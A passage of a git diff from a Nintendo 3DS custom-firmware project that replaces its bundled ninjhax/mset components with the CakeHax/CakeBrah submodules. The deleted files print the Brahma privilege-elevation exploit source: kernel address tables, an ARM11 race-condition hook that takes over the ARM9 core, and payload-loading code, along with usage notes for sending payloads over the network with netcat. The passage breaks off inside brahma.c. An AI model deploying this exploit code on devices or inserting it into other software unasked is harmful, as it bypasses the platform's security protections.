diff --git a/.gitignore b/.gitignore index 9385025..3707677 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,8 @@ build.bat data/firmware.bin out -mset +CakeHax +CakeBrah rnInstaller build *.bin diff --git a/.gitmodules b/.gitmodules index 264738e..41f0849 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ -[submodule "mset"] - path = mset - url = https://github.com/Reisyukaku/mset +[submodule "CakeBrah"] + path = CakeBrah + url = https://github.com/mid-kid/CakeBrah +[submodule "CakeHax"] + path = CakeHax + url = https://github.com/mid-kid/CakeHax diff --git a/CakeBrah b/CakeBrah new file mode 160000 index 0000000..aca4aa7 --- /dev/null +++ b/CakeBrah @@ -0,0 +1 @@ +Subproject commit aca4aa7d3b3d2d195788c0b2555b307fbac63a7f diff --git a/CakeHax b/CakeHax new file mode 160000 index 0000000..6b8fca0 --- /dev/null +++ b/CakeHax @@ -0,0 +1 @@ +Subproject commit 6b8fca0b37a370a605f76b34b133da91a0b40f5e diff --git a/Makefile b/Makefile index f9c661a..3ba7bd9 100644 --- a/Makefile +++ b/Makefile @@ -12,18 +12,20 @@ ifneq ($(PYTHON_VER_MAJOR), 3) PYTHON3 := py -3 endif +name := ReiNand + dir_source := source dir_data := data dir_build := build -dir_mset := mset +dir_mset := CakeHax dir_out := out dir_emu := emunand dir_thread := thread -dir_ninjhax := ninjhax +dir_ninjhax := CakeBrah ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te -CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main -FLAGS := dir_out=$(abspath $(dir_out)) +CFLAGS := -Wall -Wextra -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main +FLAGS := name=$(name).dat dir_out=$(abspath $(dir_out)) ICON=$(abspath icon.png) --no-print-directory objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \ $(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \ @@ -34,7 +36,7 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \ all: launcher emunand thread ninjhax .PHONY: launcher -launcher: $(dir_out)/ReiNand.dat +launcher: $(dir_out)/$(name).dat .PHONY: emunand emunand: $(dir_out)/rei/emunand/emunand.bin @@ -43,7 +45,7 @@ emunand: $(dir_out)/rei/emunand/emunand.bin thread: $(dir_out)/rei/thread/arm9.bin .PHONY: ninjhax -ninjhax: $(dir_out)/3ds/ReiNand +ninjhax: $(dir_out)/3ds/$(name) .PHONY: clean clean: @@ -51,16 +53,16 @@ clean: @$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean rm -rf $(dir_out) $(dir_build) -.PHONY: $(dir_out)/ReiNand.dat -$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ +.PHONY: $(dir_out)/$(name).dat +$(dir_out)/$(name).dat: $(dir_build)/main.bin $(dir_out)/rei/ @$(MAKE) $(FLAGS) -C $(dir_mset) launcher dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144 -$(dir_out)/3ds/ReiNand: - @mkdir -p "$(dir_out)/3ds/ReiNand" - @$(MAKE) -C $(dir_ninjhax) - @cp -av $(dir_ninjhax)/ReiNand.3dsx $@ - @cp -av $(dir_ninjhax)/ReiNand.smdh $@ +$(dir_out)/3ds/$(name): + @mkdir -p "$(dir_out)/3ds/$(name)" + @$(MAKE) $(FLAGS) -C $(dir_ninjhax) + @mv $(dir_out)/$(name).3dsx $@ + @mv $(dir_out)/$(name).smdh $@ $(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin @mkdir -p "$(dir_out)/rei" diff --git a/README.md b/README.md index 651e10a..8a82026 100644 --- a/README.md +++ b/README.md @@ -37,4 +37,6 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A Normmatt for sdmmc.c and generally being helpful! Me (Rei) for coding everything else. + + The community for your support and help! \ No newline at end of file diff --git a/data/splash.bin b/data/splash.bin index c822561..17c09b8 100644 Binary files a/data/splash.bin and b/data/splash.bin differ diff --git a/ninjhax/icon.png b/icon.png similarity index 100% rename from ninjhax/icon.png rename to icon.png diff --git a/mset b/mset deleted file mode 160000 index 1a62ee6..0000000 --- a/mset +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 1a62ee6dea17b0fb88224259d420ca7026bd636d diff --git a/ninjhax/.gitignore b/ninjhax/.gitignore deleted file mode 100644 index 066ddb9..0000000 --- a/ninjhax/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ -*.elf -*.3dsx -*.smdh - -build -output \ No newline at end of file diff --git a/ninjhax/.gitmodules b/ninjhax/.gitmodules deleted file mode 100644 index 76fcade..0000000 --- a/ninjhax/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "source/libkhax"] - path = source/libkhax - url = git://github.com/Myriachan/libkhax diff --git a/ninjhax/Makefile b/ninjhax/Makefile deleted file mode 100644 index 2e81b9a..0000000 --- a/ninjhax/Makefile +++ /dev/null @@ -1,179 +0,0 @@ -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- - -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -TOPDIR ?= $(CURDIR) -include $(DEVKITARM)/3ds_rules - -# This should be set externally -name ?= reiNand.dat -filepath ?= -dir_out ?= $(CURDIR) - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# DATA is a list of directories containing data files -# INCLUDES is a list of directories containing header files -# -# NO_SMDH: if set to anything, no SMDH file is generated. -# APP_TITLE is the name of the app stored in the SMDH file (Optional) -# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) -# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) -# ICON is the filename of the icon (.png), relative to the project folder. -# If not set, it attempts to use one of the following (in this order): -# - .png -# - icon.png -# - /default_icon.png -#--------------------------------------------------------------------------------- -TARGET := $(name:.dat=) -BUILD := build -SOURCES := source source/libkhax -DATA := data -INCLUDES := include -APP_TITLE ?= $(name:.dat=) -APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution -APP_AUTHOR ?= patois - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard - -CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \ - -fomit-frame-pointer -ffast-math \ - $(ARCH) - -CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"' - -CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 - -ASFLAGS := -g $(ARCH) -LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) - -LIBS := -lctru -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CTRULIB) - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- - -export OUTPUT := $(dir_out)/$(TARGET) -export TOPDIR := $(CURDIR) - -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) - -export DEPSDIR := $(CURDIR)/$(BUILD) - -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) -#--------------------------------------------------------------------------------- - export LD := $(CC) -#--------------------------------------------------------------------------------- -else -#--------------------------------------------------------------------------------- - export LD := $(CXX) -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- - -export OFILES := $(addsuffix .o,$(BINFILES)) \ - $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) - -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) - -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) - -ifeq ($(strip $(ICON)),) - icons := $(wildcard *.png) - ifneq (,$(findstring $(TARGET).png,$(icons))) - export APP_ICON := $(TOPDIR)/$(TARGET).png - else - ifneq (,$(findstring icon.png,$(icons))) - export APP_ICON := $(TOPDIR)/icon.png - endif - endif -else - export APP_ICON := $(ICON) -endif - -.PHONY: $(BUILD) clean all - -#--------------------------------------------------------------------------------- -all: $(BUILD) - -$(BUILD): - @echo $(SFILES) - @[ -d $@ ] || mkdir -p $@ - @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -ifeq ($(strip $(NO_SMDH)),) -.PHONY: all -all : $(OUTPUT).3dsx $(OUTPUT).smdh -endif -cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label -$(OUTPUT).3dsx : $(OFILES) - -#--------------------------------------------------------------------------------- -# you need a rule like this for each extension you use as binary data -#--------------------------------------------------------------------------------- -%.bin.o : %.bin -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @$(bin2o) - -# WARNING: This is not the right way to do this! TODO: Do it right! -#--------------------------------------------------------------------------------- -%.vsh.o : %.vsh -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin - @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h - @rm ../$(notdir $<).shbin - --include $(DEPENDS) - -#--------------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------------- diff --git a/ninjhax/README-brahma b/ninjhax/README-brahma deleted file mode 100644 index d8f7b2a..0000000 --- a/ninjhax/README-brahma +++ /dev/null @@ -1,121 +0,0 @@ -Brahma - Privilege elevation exploit for the Nintendo 3DS -========================================================= - - WTF is 'Brahma'? - ---------------- - Brahma is a development tool for the Nintendo 3DS platform that enables - privileged code execution on the ARM9 processor of the Nintendo 3DS platform. - It does so by exploiting two vulnerabilities in order to elevate its - privileges. - - The exploits utilized by Brahma are based on "commercial" exploits that - have been reverse engineered. Brahma has been developed with the goal of - understanding and documenting the nature of the exploits in mind and has - been put further effort into during its development process in order to - achieve reliable exploitation and stability. - - Brahma comes with full source code that is based on libctru and requires - existing user mode code execution privileges (Ninjhax), and can then be - used to further elevate privileges to ARM9 pre-kernel / SVC mode. - - Also, "Brahma, the creator" is a god in hinduism that is often portrayed - with four heads and arms (heh... so funny :\). - - How to build: - ------------- - - Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started) - - Open a shell and run make - - How to use: - ----------- - - Prebuilt binary releases are available at - https://github.com/patois/Brahma/releases - - Run brahma.3dsx (using homebrew launcher) - - By default, the exploit will attempt to gain ARM11 kernel privileges before - finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch") - - "Hotkeys" (press and hold during startup of BRAHMA): - ---------------------------------------------------- - - * LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card - and executes it - - * RIGHT : Performs a reboot / firm launch of the 3DS system - - * NONE : Displays a menu which allows payload files to be received via - a WiFi network connection or loaded from the '/brahma' folder - located in the root folder of the SD card - - In order to send payload files to the 3DS via a network connection, - the Python script '/tools/client.py' can be used. Alternatively, netcat - does the job as well. - - Syntax: - ------- - client.py: 'python client.py <3DS ip> ' - netcat: 'nc <3DS ip> 80 < ' - - Examples: - --------- - client.py: 'python client.py 10.0.0.5 payload.bin' - netcat: 'nc 10.0.0.5 80 < payload.bin' - - Example programs that run in privileged ARM9 mode can be downloaded from - https://github.com/patois/3DSProjects/tree/master/Brahma/ - - A memory dumper (3DSDevTools) for Brahma is available at - https://github.com/patois/3DSDevTools/releases - - There is also a port of Decrypt9 by archshift which can be loaded using - bootstrap or Brahma (use 'make' to build the project, then use one of the - methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be - downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap - - Developers: - ----------- - Brahma and its exploits which enable privileged ARM9 code execution - on the Nintendo 3DS may also be used as a "library" (#include "brahma.h") - - - call brahma_init() - initializes Brahma - - call load_arm9_payload() - loads a payload binary from disk - - call firm_reboot() - executes a payload binary (privileged ARM9 code) - - (please check the source code for more features and options) - - ARM9 payload must consist of valid ARM9 executable code and will be - mapped to physical address 0x23F00000 during run-time. Its code should begin - with a branch instruction at offset 0 and a 'placeholder' for a u32 - variable at offset 4, which will be filled by Brahma with a backup of - the original ARM9 entry point of the FIRM header during runtime. - - Brahma is written in a way that allows developers of payload binaries - to easily return control to the 3DS' firmware by simply returning from - the main() function of the payload. - - This allows reading and altering of memory contents, such as the mapped - Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several - processes running on the ARM11 core), for testing purposes, without requiring - any changes on the file system level. - - Credits: - -------- - - To 3dbrew.org and all its contributors for being such a great resource - - To whomever initially found the vulnerabilities and wrote the publicly - available exploit code - - To everybody who's been working on porting this exploit and its various - "bootstrap" branches to newer firmware versions and improving its stability - (in particular yifanlu, yuriks and shinyquagsire23) - - To everybody involved in creating libctru, Ninjhax and the Homebrew Menu - -Disclaimer: -THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, -INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS -OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, -EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT -OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING -IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY -OF SUCH DAMAGE. - - (c) 2015, patois diff --git a/ninjhax/README.md b/ninjhax/README.md deleted file mode 100644 index 5097377..0000000 --- a/ninjhax/README.md +++ /dev/null @@ -1,23 +0,0 @@ -CakeBrah -======== - -This is a fork of Brahma, that loads CakeHax payloads in the environment they expect. -This means mostly setting the framebuffer offsets and mode right. - -How to use this in your project -------------------------------- - -Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same. -No injection with dd is needed, as it loads the payload from your .dat file. -The different configuration flags are detailed below. - -### Makefile options - -Name |Default |Description -----------------|------------------------------------|----------- -dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh). -name |Cakes.dat |The name of the .dat file from which the payload will be loaded. -filepath | |Path in the SD card where the .dat file is located. -APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu. -APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu. -APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu. diff --git a/ninjhax/include/brahma.h b/ninjhax/include/brahma.h deleted file mode 100644 index 37a77bb..0000000 --- a/ninjhax/include/brahma.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include "exploitdata.h" - -u32 brahma_init (void); -u32 brahma_exit (void); -s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize); -s32 load_arm9_payload_from_mem (u8* data, u32 dsize); -void redirect_codeflow (u32 *dst_addr, u32 *src_addr); -s32 map_arm9_payload (void); -s32 map_arm11_payload (void); -void exploit_arm9_race_condition (void); -s32 get_exploit_data (struct exploit_data *data); -s32 firm_reboot (); - -#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0) - -#define BRAHMA_NETWORK_PORT 80 - -#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] -#define ARM_RET 0xE12FFF1E // BX LR -#define ARM_NOP 0xE1A00000 // NOP - -extern void *arm11_start; -extern void *arm11_end; -extern void *arm9_start; -extern void *arm9_end; diff --git a/ninjhax/include/exploitdata.h b/ninjhax/include/exploitdata.h deleted file mode 100644 index ebd4360..0000000 --- a/ninjhax/include/exploitdata.h +++ /dev/null @@ -1,189 +0,0 @@ -#pragma once - -#define SYS_MODEL_NONE 0 -#define SYS_MODEL_OLD_3DS 1 -#define SYS_MODEL_NEW_3DS 2 - -#define PA_EXC_HANDLER_BASE 0x1FFF4000 -#define PA_FCRAM_BASE 0x20000000 -#define OFFS_FCRAM_MAPPED_FIRM 0x04000000 -#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000 -#define OFFS_EXC_HANDLER_UNUSED 0xC80 -#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM - #error ERRROR: Invalid ARM9 payload offset -#endif -#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD) - -/* any changes to this structure must also be applied to - the data structure following the 'arm11_globals_start' - label of arm11.s */ -struct arm11_shared_data { - u32 va_pdn_regs; - u32 va_pxi_regs; - u32 va_hook1_ret; -}; - -struct exploit_data { - - u32 firm_version; - u32 sys_model; // mask - - u32 va_patch_hook1; - u32 va_patch_hook2; - u32 va_hook1_ret; - - u32 va_fcram_base; - u32 va_exc_handler_base_W; - u32 va_exc_handler_base_X; - u32 va_kernelsetstate; - - u32 va_pdn_regs; - u32 va_pxi_regs; -}; - -// add all vulnerable systems below -static const struct exploit_data supported_systems[] = { - { - 0x022E0000, // FIRM version - SYS_MODEL_NEW_3DS, // model - 0xDFFE7A50, // VA of 1st hook for firmlaunch - 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook - 0xE0000000, // VA of FCRAM - 0xDFFF4000, // VA of lower mapped exception handler base - 0xFFFF0000, // VA of upper mapped exception handler base - 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) - 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers - }, - { - 0x022C0600, // FIRM version - SYS_MODEL_NEW_3DS, // model - 0xDFFE7A50, // VA of 1st hook for firmlaunch - 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook - 0xE0000000, // VA of FCRAM - 0xDFFF4000, // VA of lower mapped exception handler base - 0xFFFF0000, // VA of upper mapped exception handler base - 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) - 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers - }, - { - 0x02220000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE4DD4, - 0xEFFF497C, - 0xFFF84DDC, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF748C4, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02230600, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE55BC, - 0xEFFF4978, - 0xFFF765C4, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64B94, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x022E0000, - SYS_MODEL_OLD_3DS, - 0xDFFE59D0, - 0xDFFF4974, - 0xFFF279D8, - 0xE0000000, - 0xDFFF4000, - 0xFFFF0000, - 0xFFF151C0, - 0xFFFC2000, - 0xFFFC4000 - }, - { - 0x022C0600, - SYS_MODEL_OLD_3DS, - 0xDFFE4F28, - 0xDFFF4974, - 0xFFF66F30, - 0xE0000000, - 0xDFFF4000, - 0xFFFF0000, - 0xFFF54BAC, - 0xFFFBE000, - 0xFFFC0000 - }, - { - 0x02280000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5B30, - 0xEFFF4978, - 0xFFF76B38, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64AAC, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02270400, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5B34, - 0xEFFF4978, - 0xFFF76B3C, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64AB0, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02250000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5AE8, - 0xEFFF4978, - 0xFFF76AF0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64A78, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02260000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5AE8, - 0xEFFF4978, - 0xFFF76AF0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64A78, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02240000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE55B8, - 0xEFFF4978, - 0xFFF765C0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64B90, - 0xFFFD0000, - 0xFFFD2000 - } -}; diff --git a/ninjhax/include/hid.h b/ninjhax/include/hid.h deleted file mode 100644 index 527d22c..0000000 --- a/ninjhax/include/hid.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -u32 wait_key (void); -void wait_any_key (void); diff --git a/ninjhax/include/utils.h b/ninjhax/include/utils.h deleted file mode 100644 index 3cff339..0000000 --- a/ninjhax/include/utils.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -void InvalidateEntireInstructionCache (void); -void CleanEntireDataCache (void); -void dsb(void); -void DisableInterrupts (void); -void EnableInterrupts (void); -void InvalidateEntireDataCache (void); diff --git a/ninjhax/source/arm11.s b/ninjhax/source/arm11.s deleted file mode 100644 index 0805f99..0000000 --- a/ninjhax/source/arm11.s +++ /dev/null @@ -1,173 +0,0 @@ -.arm -.align 4 -.code 32 -.text - -.global arm11_start -arm11_start: - B hook1 - B hook2 - -hook1: - STMFD SP!, {R0-R12,LR} - - MOV R0, #64 - BL delay - - MOV R0, #0 - BL pxi_send - - BL pxi_sync - - MOV R0, #0x10000 - BL pxi_send - - BL pxi_recv - BL pxi_recv - BL pxi_recv - - MOV R0, #2 - BL pdn_send - - MOV R0, #0 - BL pdn_send - - LDMFD SP!, {R0-R12,LR} - - LDR R0, var_44836 - STR R0, [R1] - LDR PC, va_hook1_ret - - var_44836: .long 0x44836 - -@ copy hijack_arm9 routine and execute -hook2: - ADR R0, hijack_arm9 - ADR R1, hijack_arm9_end - LDR R2, pa_hijack_arm9_dst - MOV R4, R2 - BL copy_mem - MOV r0, #0 - MCR p15, 0, r0, c7, c10, 0 @ Clean data cache - MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer - MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache - BX R4 - -@ exploits a race condition in order -@ to take control over the arm9 core -hijack_arm9: - @ init - LDR R0, pa_arm11_code - MOV R1, #0 - STR R1, [R0] - - @ load physical addresses - LDR R10, pa_firm_header - LDR R9, pa_arm9_payload - LDR R8, pa_io_mem - - @ send pxi cmd 0x44846 - LDR R1, pa_pxi_regs - LDR R2, some_pxi_cmd - STR R2, [R1, #8] - -wait_arm9_loop: - LDRB R0, [R8] - ANDS R0, R0, #1 - BNE wait_arm9_loop - - @ overwrite orig entry point with FCRAM addr - @ this exploits the race condition bug - STR R9, [R10, #0x0C] - - LDR R0, pa_arm11_code -wait_arm11_loop: - LDR R1, [r0] - CMP R1, #0 - BEQ wait_arm11_loop - BX R1 - - pa_hijack_arm9_dst: .long 0x1FFFFC00 - pa_arm11_code: .long 0x1FFFFFF8 - pa_pxi_regs: .long 0x10163000 - some_pxi_cmd: .long 0x44846 - pa_firm_header: .long 0x24000000 - pa_arm9_payload: .long 0x23F00000 - pa_io_mem: .long 0x10140000 -hijack_arm9_end: - -copy_mem: - SUB R3, R1, R0 - MOV R1, R3,ASR#2 - CMP R1, #0 - BLE locret_FFFF0AC0 - MOVS R1, R3,LSL#29 - SUB R0, R0, #4 - SUB R1, R2, #4 - BPL loc_FFFF0AA0 - LDR R2, [R0,#4]! - STR R2, [R1,#4]! -loc_FFFF0AA0: - MOVS R2, R3,ASR#3 - BEQ locret_FFFF0AC0 -loc_FFFF0AA8: - LDR R3, [R0,#4] - SUBS R2, R2, #1 - STR R3, [R1,#4] - LDR R3, [R0,#8]! - STR R3, [R1,#8]! - BNE loc_FFFF0AA8 -locret_FFFF0AC0: - BX LR - -pdn_send: - LDR R1, va_pdn_regs - STRB R0, [R1, #0x230] - BX LR - -pxi_send: - LDR R1, va_pxi_regs -loc_1020D0: - LDRH R2, [R1,#4] - TST R2, #2 - BNE loc_1020D0 - STR R0, [R1,#8] - - MOV R0, #4 -delay: - MOV R1, #0 - MCR p15, 0, r1, c7, c10, 0 - MCR p15, 0, r1, c7, c10, 4 -loop: - SUBS R0, #1 - BGT loop - BX LR - -pxi_recv: - LDR R0, va_pxi_regs -loc_1020FC: - LDRH R1, [R0,#4] - TST R1, #0x100 - BNE loc_1020FC - LDR R0, [R0,#0xC] - BX LR - -pxi_sync: - LDR R0, va_pxi_regs - LDRB R1, [R0,#3] - ORR R1, R1, #0x40 - STRB R1, [R0,#3] - BX LR - -.global arm11_end -arm11_end: - -.global arm11_globals_start -arm11_globals_start: - - va_pdn_regs: .long 0 - va_pxi_regs: .long 0 - va_hook1_ret: .long 0 - -.global arm11_globals_end -arm11_globals_end: diff --git a/ninjhax/source/brahma.c b/ninjhax/source/brahma.c deleted file mode 100644 index 9677ce4..0000000 --- a/ninjhax/source/brahma.c +++ /dev/null @@ -1,380 +0,0 @@ -#include <3ds.h> -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "brahma.h" -#include "exploitdata.h" -#include "utils.h" -#include "libkhax/khax.h" - -static u8 *g_ext_arm9_buf; -static u32 g_ext_arm9_size = 0; -static s32 g_ext_arm9_loaded = 0; -static struct exploit_data g_expdata; -static struct arm11_shared_data g_arm11shared; -u32 frameBufferData[3]; - -/* should be the very first call. allocates heap buffer - for ARM9 payload */ -u32 brahma_init (void) { - g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE); - return (g_ext_arm9_buf != 0); -} - -/* call upon exit */ -u32 brahma_exit (void) { - if (g_ext_arm9_buf) { - free(g_ext_arm9_buf); - } - return 1; -} - -/* overwrites two instructions (8 bytes in total) at src_addr - with code that redirects execution to dst_addr */ -void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { - *(src_addr + 1) = (u32)dst_addr; - *src_addr = ARM_JUMPOUT; -} - -/* fills exploit_data structure with information that is specific - to 3DS model and firmware version - returns: 0 on failure, 1 on success */ -s32 get_exploit_data (struct exploit_data *data) { - u32 fversion = 0; - u8 isN3DS = 0; - u32 i; - s32 result = 0; - u32 sysmodel = SYS_MODEL_NONE; - - if(!data) - return result; - - fversion = osGetFirmVersion(); - APT_CheckNew3DS(&isN3DS); - sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; - - /* copy platform and firmware dependent data */ - for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { - if (supported_systems[i].firm_version == fversion && - supported_systems[i].sys_model & sysmodel) { - memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); - result = 1; - break; - } - } - return result; -} - -/* get system dependent data and set up ARM11 structures */ -s32 setup_exploit_data (void) { - s32 result = 0; - - if (get_exploit_data(&g_expdata)) { - /* copy data required by code running in ARM11 svc mode */ - g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret; - g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs; - g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs; - result = 1; - } - return result; -} - -/* TODO: network code might be moved somewhere else */ -s32 recv_arm9_payload (void) { - s32 sockfd; - struct sockaddr_in sa; - u32 kDown, old_kDown; - s32 clientfd; - struct sockaddr_in client_addr; - u32 addrlen = sizeof(client_addr); - s32 sflags = 0; - - if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { - printf("[!] Error: socket()\n"); - return 0; - } - - bzero(&sa, sizeof(sa)); - sa.sin_family = 